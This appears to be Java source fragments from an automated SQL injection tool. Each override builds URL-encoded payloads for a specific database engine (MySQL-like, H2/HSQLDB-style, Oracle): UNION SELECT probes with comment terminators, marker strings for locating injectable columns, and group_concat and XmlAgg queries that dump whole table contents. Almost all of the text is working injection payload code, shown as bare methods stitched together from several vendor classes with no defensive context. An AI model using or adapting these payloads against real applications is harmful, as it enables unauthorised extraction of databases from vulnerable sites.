@Override public String getValues(String[] columns, Database database, Table table) { String formatListColumn = ToolsString.join(columns, "{%}"); // 7f caractère d'effacement, dernier code hexa supporté par mysql, donne 3f=>? à partir de 80 formatListColumn = formatListColumn.replace("{%}", ",SQL_VARCHAR),'')),'%7f',trim(ifnull(convert("); formatListColumn = "trim(ifnull(convert(" + formatListColumn + ",SQL_VARCHAR),''))"; return "select+concat(" + "group_concat(" + "'%04'||" + "r||" + "'%05'||" + "convert(q,SQL_VARCHAR)||" + "'%04'" + "+order+by+r+separator+'%06'" + ")," + "'%01%03%03%07'" + ")r+from(" + "select+" + "convert(concat(" + formatListColumn + "),SQL_VARCHAR)r," + "count(*)q+" + "from+" + "" + database + "." + table + "+" + "group+by+r{limit}" + ")x"; }
@Override public String getValues(String[] columns, Database database, Table table) { String formatListColumn = ToolsString.join(columns, "{%}"); // 7f caractère d'effacement, dernier code hexa supporté par mysql, donne 3f=>? à partir de 80 formatListColumn = formatListColumn.replace("{%}", "),''))||'%7F'||trim(ifnull(chr("); formatListColumn = "trim(ifnull(chr(" + formatListColumn + "),''))"; return "select+rr||'%01%03%03%07'r+from(select+'%04'||trim(t.s)||'%050%04'rr+" + "from(select+distinct+" + formatListColumn + "s+from+" + database + "." + table + ")t,(select+distinct+" + formatListColumn + "s+from+" + database + "." + table + ")t1+" + "where+t.s>=t1.s+" + "group+by+t.s{limit})a"; }
@Override public String getValues(String[] columns, Database database, Table table) { String formatListColumn = ToolsString.join(columns, "))||'%7f'||trim(to_char("); formatListColumn = "trim(to_char(" + formatListColumn + "))"; return "select+" + "utl_raw.cast_to_varchar2(CAST(DBMS_LOB.SUBSTR(replace(" + "replace(" + "XmlAgg(" + "XmlElement(\"a\",rawtohex('%04'||s||'%050%04'))order+by+s+nulls+last" + ").getClobVal()," + "'<a>','')," + "'<%2Fa>',rawtohex('%06'))||rawtohex('%01%03%03%07'),4000,1)AS+VARCHAR(1024)))" + "+from(select+t.s+from(SELECT+DISTINCT+" + formatListColumn + "+s+" + "FROM+" + database + "." + table + "" + ")t,(SELECT+DISTINCT+" + formatListColumn + "+s+" + "FROM+" + database + "." + table + "" + ")t1+" + "where+t.s>=t1.s+" + "group+by+t.s+" + "{limit})+"; }
@Override public String performanceQuery(String[] indexes) { return MediatorModel.model() .initialQuery .replaceAll( "1337(" + ToolsString.join(indexes, "|") + ")7331", /** rpad 1024 (not 65536) to avoid error 'result of string concatenation is too long' */ "(SELECT+TO_CHAR(" + "(SELECT*" + "FROM" + "(SELECT'SQLi$1'" + "||SUBSTR(" + "(SELECT+utl_raw.cast_to_varchar2(CAST(DBMS_LOB.SUBSTR(REPLACE(REPLACE(XmlAgg(XmlElement(\"a\",rawtohex(" + "s" + "))" + "ORDER+BY+s+nulls+last).getClobVal(),'<a>',''),'<%2fa>',rawtohex('6'))" + "||rawtohex('1337'),4000,1)AS+VARCHAR(1024)))" + "FROM" + "(SELECT+DISTINCT+rpad('%23',1024,'%23')s+FROM+dual" + ")" + "),1,3996)" + "FROM+dual" + ")x" + "))" + "FROM+dual)"); }
@Override public String getIndicesCapacity(String[] indexes) { return MediatorModel.model() .initialQuery .replaceAll( "1337(" + ToolsString.join(indexes, "|") + ")7331", "('SQLi'||$1||repeat('%23',1024)||'iLQS')"); }
@Override public String getIndicesCapacity(String[] indexes) { return MediatorModel.model() .initialQuery .replaceAll( "1337(" + ToolsString.join(indexes, "|") + ")7331", "(select'SQLi$1'||rpad('%23',1024,'%23',1025)||'iLQS'from+dual)"); }
@Override public String initialQuery(Integer nbFields) { List<String> fields = new ArrayList<String>(); for (int i = 1; i <= nbFields; i++) { fields.add("to_char(1337" + i + "7330%2b1)"); } return "+union+select+" + ToolsString.join(fields.toArray(new String[fields.size()]), ",") + "from+dual--+"; }
@Override public String getIndices(Integer nbFields) { String replaceTag = ""; List<String> fields = new ArrayList<String>(); for (int i = 1; i <= nbFields; i++) { fields.add("*"); replaceTag = "select(1337" + i + "7330%2b1)||''FROM(VALUES(0))"; } return "+union+select" + ToolsString.join(fields.toArray(new String[fields.size()]), ",") + "from(" + replaceTag + ")b+"; }